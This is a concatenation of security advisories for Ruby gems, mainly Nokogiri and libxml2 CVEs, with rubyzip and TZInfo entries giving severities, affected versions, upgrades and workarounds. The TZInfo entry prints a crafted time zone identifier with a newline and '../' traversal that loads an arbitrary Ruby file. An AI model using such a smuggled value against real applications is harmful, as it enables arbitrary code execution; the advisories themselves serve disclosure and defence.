Nokogiri v1.18.8 upgrades its dependency libxml2 to v2.13.8.
libxml2 v2.13.8 addresses:
In libxml2 before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds memory access can occur in the Python API (Python bindings) because of an incorrect return value. This occurs in xmlPythonFileRead and xmlPythonFileReadRaw because of a difference between bytes and characters.
There is no impact from this CVE for Nokogiri users.
In libxml2 before 2.13.8 and 2.14.x before 2.14.2, xmlSchemaIDCFillNodeTables in xmlschemas.c has a heap-based buffer under-read. To exploit this, a crafted XML document must be validated against an XML schema with certain identity constraints, or a crafted XML schema must be used.
In the upstream issue, further context is provided by the maintainer:
The bug affects validation against untrusted XML Schemas (.xsd) and validation of untrusted documents against trusted Schemas if they make use of xsd:keyref in combination with recursively defined types that have additional identity constraints.
MITRE has published a severity score of 2.9 LOW (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) for this CVE.
Nokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:
Note that two additional CVEs were addressed upstream but are not relevant to this release. CVE-2021-3516 via xmllint is not present in Nokogiri, and CVE-2020-7595 has been patched in Nokogiri since v1.10.8 (see #1992).
Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.11.4, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.
Upgrade to Nokogiri >= 1.11.4.
I've done a brief analysis of the published CVEs that are addressed in this upstream release. The libxml2 maintainers have not released a canonical set of CVEs, and so this list is pieced together from secondary sources and may be incomplete.
All information below is sourced from security.archlinux.org, which appears to have the most up-to-date information as of this analysis.
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
This has been patched in Nokogiri since v1.10.8 (see #1992).
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
Verified that the fix commit first appears in v2.9.11. This vector does not exist within Nokogiri, which does not ship xmllint.
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4.
Verified that the fix commit first appears in v2.9.11. It seems possible that this issue would be present in programs using Nokogiri < v1.11.4, however Nokogiri's default parse options prevent the attack from succeeding (it is necessary to opt into DTDLOAD which is off by default).
For more details supporting this analysis of this CVE, please visit #2233.
The NONET parse option, which Nokogiri turns on by default for
Nokogiri::XML::Schema (see
CVE-2020-26247),
was not correctly enforced on the JRuby implementation. As a result, a schema
parsed with default options could still cause external resources to be fetched
over the network, potentially enabling SSRF or XXE attacks.
Nokogiri 1.19.4 replaces the scheme denylist with an allowlist. When NONET
is enabled, only local resources (a file: scheme, or a relative or absolute
path with no scheme) are resolved, and every network scheme is blocked,
case-insensitively. This brings the JRuby behavior in line with CRuby.
Only the JRuby implementation is affected. CRuby is not affected, because
libxml2's xmlNoNetExternalEntityLoader blocks all network schemes at the I/O
layer regardless of scheme or case.
The Nokogiri maintainers have evaluated this as low severity (CVSS 2.6,
CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N). It is a bypass of
CVE-2020-26247, which was scored the same way.
Upgrade to Nokogiri 1.19.4 or later.
There are no known workarounds for affected versions.
This change properly enforces NONET on JRuby, which is a breaking change for
any code that (perhaps unknowingly) relied on the previous behavior to load
network resources with default parse options. If you trust your input and want
to allow external resources to be accessed over the network, you can
explicitly disable NONET, exactly as documented for CVE-2020-26247:
Nokogiri::XML::ParseOptions with the NONET flag turned off:# allows resources to be accessed over the network for trusted input
schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
This issue was responsibly reported by @bilerden.
Nokogiri contains a bug when calling certain methods on
allocated-but-uninitialized native wrapper classes that inherit from
Nokogiri::XML::Node. This caused a NULL pointer dereference that could crash
the process.
Nokogiri 1.19.4 checks for missing native data pointers and raises a
RuntimeError.
JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. This is only
triggered by a programming error. It requires application code to call
.allocate directly on a native-backed class and then invoke methods on the
resulting uninitialized object. It cannot be triggered by untrusted input or
through normal use of the public API.
Upgrade to Nokogiri 1.19.4 or later.
Avoid calling .allocate directly on Nokogiri native-backed classes. Use the
documented constructors and factory methods instead.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release:
The public CSS selector methods that funnel through the affected tokenizer are Nokogiri::CSS.xpath_for, Node#css, Node#at_css, Searchable#search, and CSS::Parser#parse.
Upgrade to Nokogiri >= 1.19.3.
If users are unable to upgrade, two options are available:
Regexp.timeout (Ruby 3.2+, JRuby 9.4+) to bound parse time.The Nokogiri maintainers have evaluated this as High Severity (CVSS 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service.
Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.
Nokogiri v1.13.5 upgrades the packaged version of its dependency libxml2 from v2.9.13 to v2.9.14.
libxml2 v2.9.14 addresses CVE-2022-29824. This version also includes several security-related bug fixes for which CVEs were not created, including a potential double-free, potential memory leaks, and integer-overflow.
Please note that this advisory only applies to the CRuby implementation of Nokogiri
< 1.13.5, and only if the packaged libraries are being used. If you've overridden
defaults at installation time to use system libraries instead of packaged libraries,
you should instead pay attention to your distro's libxml2 and libxslt release announcements.
Upgrade to Nokogiri >= 1.13.5.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation:
compile and link Nokogiri against external libraries libxml2 >= 2.9.14 which will also
address these same issues.
All versions of libml2 prior to v2.9.14 are affected.
Applications parsing or serializing multi-gigabyte documents (in excess of INT_MAX bytes) may be vulnerable to an integer overflow bug in buffer handling that could lead to exposure of confidential data, modification of unrelated data, or a segmentation fault resulting in a denial-of-service.
The protected copy helper behind Node#dup and #clone unwrapped its source argument as an xmlNode without a type check. Supplying a non-Node (e.g. a Namespace) made it read an xmlNs out of bounds, crashing the process.
Nokogiri 1.19.4 performs a type check and raises TypeError when an argument of invalid type is passed.
Only CRuby is affected. JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to call the protected internal initializecopywith_args method with an argument that is not a Nokogiri::XML::Node. Nokogiri 1.19.4 now raises TypeError instead of reading out of bounds. It cannot be triggered by untrusted input or through normal use of the public API.
Upgrade to Nokogiri 1.19.4 or later. There is no workaround.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri v1.18.4 upgrades its dependency libxslt to v1.1.43.
libxslt v1.1.43 resolves:
Nokogiri::XML::XPathContext did not keep its source document alive for
garbage collection. If an XPathContext outlived its document and the
document was collected, evaluating an XPath expression could read invalid
memory and potentially segfault.
This is only reachable when application code constructs an XPathContext
directly and lets the document become unreachable while continuing to use the
context. The normal Document#xpath, #css, and related search methods are
not affected, and it is not triggerable by malicious document input.
Nokogiri 1.19.4 makes XPathContext keep its source document alive for as
long as the context exists.
Only the CRuby implementation is affected. JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. Reaching it
requires an unusual API-usage pattern that does not arise during normal use.
The application must construct an XML::XPathContext directly and continue
using it after allowing its source document to be garbage-collected. Nokogiri
1.19.4 makes this pattern safe with no change to the public API. The context
now keeps its source document alive for as long as it exists.
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, ensure the source document remains referenced for as long as
any XPathContext created from it is in use. The standard Document#xpath,
#css, and related search methods already do this and are unaffected.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri's CRuby native extension could leave a Ruby wrapper pointing to freed
memory when replacing the value of an XML attribute. If Ruby code had already
accessed an attribute child node, Nokogiri::XML::Attr#value= could free the
underlying native child node while the wrapper remained reachable through the
document node cache. A later use of the freed child node or a Ruby GC mark
could dereference an invalid pointer, causing an invalid read and a possible
segfault.
Nokogiri 1.19.4 preserves any already-wrapped attribute child nodes before replacing the attribute value.
JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. Reaching it
requires an unusual API-usage pattern that does not arise during normal use.
The application must directly access an attribute's child node and then
replace that same attribute's value via Attr#value= or #content=. Nokogiri
1.19.4 makes this pattern safe with no change to the public API.
Already-wrapped attribute child nodes are preserved before the value is
replaced.
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, avoid accessing attribute child nodes directly via
Attr#child or similar before mutating the same attribute’s value.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri v1.14.3 upgrades the packaged version of its dependency libxml2 to v2.10.4 from v2.10.3.
libxml2 v2.10.4 addresses the following known vulnerabilities:
Please note that this advisory only applies to the CRuby implementation of Nokogiri < 1.14.3,
and only if the packaged libraries are being used. If you've overridden defaults at installation
time to use system libraries instead of packaged libraries, you should instead pay attention to
your distro's libxml2 release announcements.
Upgrade to Nokogiri >= 1.14.3.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against external libraries libxml2 >= 2.10.4 which will also address these
same issues.
No public information has yet been published about the security-related issues other than the upstream commits. Examination of those changesets indicate that the more serious issues relate to libxml2 dereferencing NULL pointers and potentially segfaulting while parsing untrusted inputs.
The commits can be examined at:
Nokogiri v1.16.5 upgrades its dependency libxml2 to 2.12.7 from 2.12.6.
libxml2 v2.12.7 addresses CVE-2024-34459:
There is no impact to Nokogiri users because the issue is present only
in libxml2's xmllint tool which Nokogiri does not provide or expose.
Nokogiri's Nokogiri::XSLT::Stylesheet#transform leaks a small heap allocation when passed a Ruby string parameter containing a null byte.
For applications that pass attacker-controlled input through XSLT.transform parameters, this may be a vector for a denial of service attack against long-running processes.
Upgrade to Nokogiri >= 1.19.3.
Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to Nokogiri::XSLT::Stylesheet#transform.
The Nokogiri maintainers have evaluated this as Moderate Severity, CVSS 5.3.
Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected.
Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice.
This vulnerability was responsibly reported by @Captainjack-kor.
Nokogiri v1.18.3 upgrades its dependency libxml2 to v2.13.6.
libxml2 v2.13.6 addresses:
Stack-buffer overflow is possible when reporting DTD validation errors if the input contains a long (~3kb) QName prefix.
Use-after-free is possible during validation against untrusted
XML Schemas (.xsd) and, potentially, validation of untrusted documents
against trusted Schemas if they make use of xsd:keyref in combination
with recursively defined types that have additional identity constraints.
XInclude substitution performed by Nokogiri::XML::Node#do_xinclude replaced
each <xi:include> in place, freeing the include node along with its children
(such as <xi:fallback> and its descendants) and any namespaces declared on
them. If an application had already exposed one of those nodes or namespaces
to Ruby, the corresponding Ruby object was left pointing at freed memory.
Using the object could result in invalid reads or writes to memory.
Nokogiri 1.19.4 substitutes each <xi:include> on a defensive copy by
default, so the structures libxml2 frees are never the ones bound to live Ruby
objects.
Only the CRuby implementation is affected; JRuby is not affected.
The Nokogiri maintainers have evaluated this as low severity. Reaching it
requires an unusual API-usage pattern that does not arise during normal use.
The application must parse a document without XInclude, traverse into an
<xi:include> subtree to expose its nodes or namespaces to Ruby, and only
then invoke XInclude processing. The common case, requesting XInclude at parse
time, operates on a freshly parsed document whose nodes are not yet exposed to
Ruby and is not affected. Nokogiri 1.19.4 makes this pattern safe by default
and requires no change to application code.
Upgrade to Nokogiri 1.19.4 or later.
As a workaround for earlier versions, perform XInclude substitution at parse
time (with the xinclude parse option) rather than calling #do_xinclude on
a document that has already been traversed. A freshly parsed document has no
nodes exposed to Ruby, so the substitution is safe.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri::XML::Document#root= validated only that the new root was a
Nokogiri::XML::Node, allowing a DTD node to be set as the document root. The
result is a heap use-after-free during garbage collection or finalization,
leading to an invalid memory read or potentially a segfault.
Nokogiri 1.19.4 restricts Document#root= to element nodes, raising
TypeError for any other node type.
This memory-safety issue affects only the CRuby implementation (libxml2). The JRuby implementation was not affected; the same input validation was added there for behavioral parity.
The Nokogiri maintainers have evaluated this as low severity. This is only
triggered by a programming error. It requires application code to assign a
non-element node such as a DTD as the document root via Document#root=.
Nokogiri 1.19.4 now raises TypeError instead of allowing a use-after-free.
It cannot be triggered by untrusted input or through normal use of the public
API.
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, applications that cannot upgrade should avoid assigning a DTD
(or any non-element node) via Document#root=.
This issue was responsibly reported by Zheng Yu from depthfirst.com.
Nokogiri's CRuby extension fails to check the return value from
xmlC14NExecute in the method Nokogiri::XML::Document#canonicalize
and Nokogiri::XML::Node#canonicalize. When canonicalization fails,
an empty string is returned instead of raising an exception. This
incorrect return value may allow downstream libraries to accept
invalid or incomplete canonicalized XML, which has been demonstrated
to enable signature validation bypass in SAML libraries.
JRuby is not affected, as the Java implementation correctly
raises RuntimeError on canonicalization failure.
Upgrade to Nokogiri >= 1.19.1.
The maintainers have assessed this as Medium severity. Nokogiri itself is a parsing library without a clear security boundary related to canonicalization, so the direct impact is that a method returns incorrect data on invalid input. However, this behavior was exploited in practice to bypass SAML signature validation in downstream libraries (see References).
This vulnerability was responsibly reported by HackerOne
researcher d4d.
Nokogiri upgrades its dependency libxml2 as follows: - v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6 - v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4
libxml2 v2.11.7 and v2.12.5 address the following vulnerability:
CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062 - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604 - patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970
Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.
JRuby users are not affected.
The Nokogiri maintainers have evaluated this as Moderate.
From the CVE description, this issue applies to the xmlTextReader module (which underlies
Nokogiri::XML::Reader):
When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.
Upgrade to Nokogiri ~> 1.15.6 or >= 1.16.2.
Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against patched external libxml2 libraries which will also address these same issues.
rubyzip version 1.2.1 and earlier contains a Directory Traversal vulnerability in Zip::File component that can result in write arbitrary files to the filesystem. If a site allows uploading of .zip files, an attacker can upload a malicious file which contains symlinks or files with absolute pathnames "../" to write arbitrary files to the filesystem.
In Rubyzip before 1.3.0, a crafted ZIP file can bypass application checks on ZIP entry sizes because data about the uncompressed size can be spoofed. This allows attackers to cause a denial of service (disk consumption).
With the Ruby data source (the tzinfo-data gem for tzinfo version 1.0.0 and
later and built-in to earlier versions), time zones are defined in Ruby files.
There is one file per time zone. Time zone files are loaded with require on
demand. In the affected versions, TZInfo::Timezone.get fails to validate
time zone identifiers correctly, allowing a new line character within the
identifier. With Ruby version 1.9.3 and later, TZInfo::Timezone.get can be
made to load unintended files with require, executing them within the Ruby
process.
For example, with version 1.2.9, you can run the following to load a file with
path /tmp/payload.rb:
TZInfo::Timezone.get(\"foo\
/../../../../../../../../../../../../../../../../tmp/payload\")
The exact number of parent directory traversals needed will vary depending on the location of the tzinfo-data gem.
TZInfo versions 1.2.6 to 1.2.9 can be made to load files from outside of the Ruby load path. Versions up to and including 1.2.5 can only be made to load files from directories within the load path.
This could be exploited in, for example, a Ruby on Rails application using tzinfo version 1.2.9, that allows file uploads and has a time zone selector that accepts arbitrary time zone identifiers. The CVSS score and severity have been set on this basis.
Versions 2.0.0 and later are not vulnerable.
Versions 0.3.61 and 1.2.10 include fixes to correctly validate time zone identifiers.
Note that version 0.3.61 can still load arbitrary files from the Ruby load
path if their name follows the rules for a valid time zone identifier and the
file has a prefix of tzinfo/definition within a directory in the load path.
For example if /tmp/upload was in the load path, then
TZInfo::Timezone.get('foo') could load a file with path
/tmp/upload/tzinfo/definition/foo.rb. Applications should ensure that
untrusted files are not placed in a directory on the load path.
As a workaround, the time zone identifier can be validated before passing to
TZInfo::Timezone.get by ensuring it matches the regular expression
\\A[A-Za-z0-9+\\-_]+(?:\\/[A-Za-z0-9+\\-_]+)*\\z.